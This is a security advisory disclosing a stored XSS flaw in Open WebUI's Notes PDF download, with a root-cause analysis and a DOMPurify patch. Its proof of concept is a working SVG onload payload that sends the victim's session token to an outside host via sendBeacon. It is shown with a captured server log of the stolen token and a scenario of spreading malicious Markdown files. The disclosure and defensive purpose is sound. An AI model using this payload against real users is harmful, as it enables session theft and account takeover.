Open WebUI Vulnerable to Stored DOM XSS via Note 'Download PDF'

Summary

A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.

This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.

Details

Vulnerability Location

File: src/lib/components/notes/utils.ts
Function: downloadPdf()
Vulnerable Code (Line 35):

const contentNode = document.createElement('div');

contentNode.innerHTML = html;  // Direct assignment without DOMPurify sanitization

node.appendChild(contentNode);
document.body.appendChild(node);

Root Cause

1. Incomplete TipTap Editor Configuration

   • Open-WebUI only uses TipTap StarterKit
   • No Schema definition for dangerous tags like SVG, Script
   • Unknown HTML tags are stored as raw HTML

2. Missing Sanitization During PDF Generation

   • note.data.content.html is directly assigned to innerHTML
   • No DOMPurify or other sanitization
   • Stored malicious HTML executes as-is

PoC

Environment

• Open-WebUI latest version (v0.6.36)
• Admin account

Step 1: Create Malicious Markdown File

Filename: token_stealer.md

<svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg>

navigator.sendBeacon() was used to bypass CORS.

Step 2: Import to Notes

1. Login to Open-WebUI
2. Click "Notes" in the left menu
3. Drag and drop the Markdown file
4. Note is automatically created

Step 3: Trigger PDF Download

1. Access Notes menu (/notes)
2. Click ⋯ on the right side of the uploaded note
3. Select "Download" → "PDF document (.pdf)"
4. JavaScript executes

Step 4: Verify Token Theft

Attacker's server log:

POST /steal HTTP/1.1
Host: redacted
Content-Type: text/plain;charset=UTF-8
Content-Length: 145

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw

And Simple PoC alert(1)

Filename: simple_poc.md

<svg onload="alert(1)"></svg>

Impact

CVSS 3.1 Score: 8.7 (High)

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Vulnerability Type

CWE-79: Cross-site Scripting (XSS)
CWE-116: Improper Encoding or Escaping of Output

Affected Users

• All Open-WebUI users
• Especially users utilizing the Notes feature

Attack Scenario

1. Attacker shares malicious note (.md file) in the community
2. Victim uploads the shared note (.md file)
3. Victim downloads as PDF
4. XSS vulnerability triggers
5. Victim's session (localStorage.token) is stolen

Recommended Patch

// src/lib/components/notes/utils.ts:35
import DOMPurify from 'dompurify';

const contentNode = document.createElement('div');

// Sanitize with DOMPurify
contentNode.innerHTML = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: [
        'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
        'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead',
        'tbody', 'tr', 'td', 'th'
    ],
    ALLOWED_ATTR: ['href', 'class', 'target'],
    FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'],
    FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'],
    ALLOW_DATA_ATTR: false
});

node.appendChild(contentNode);

References

• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
• DOMPurify: https://github.com/cure53/DOMPurify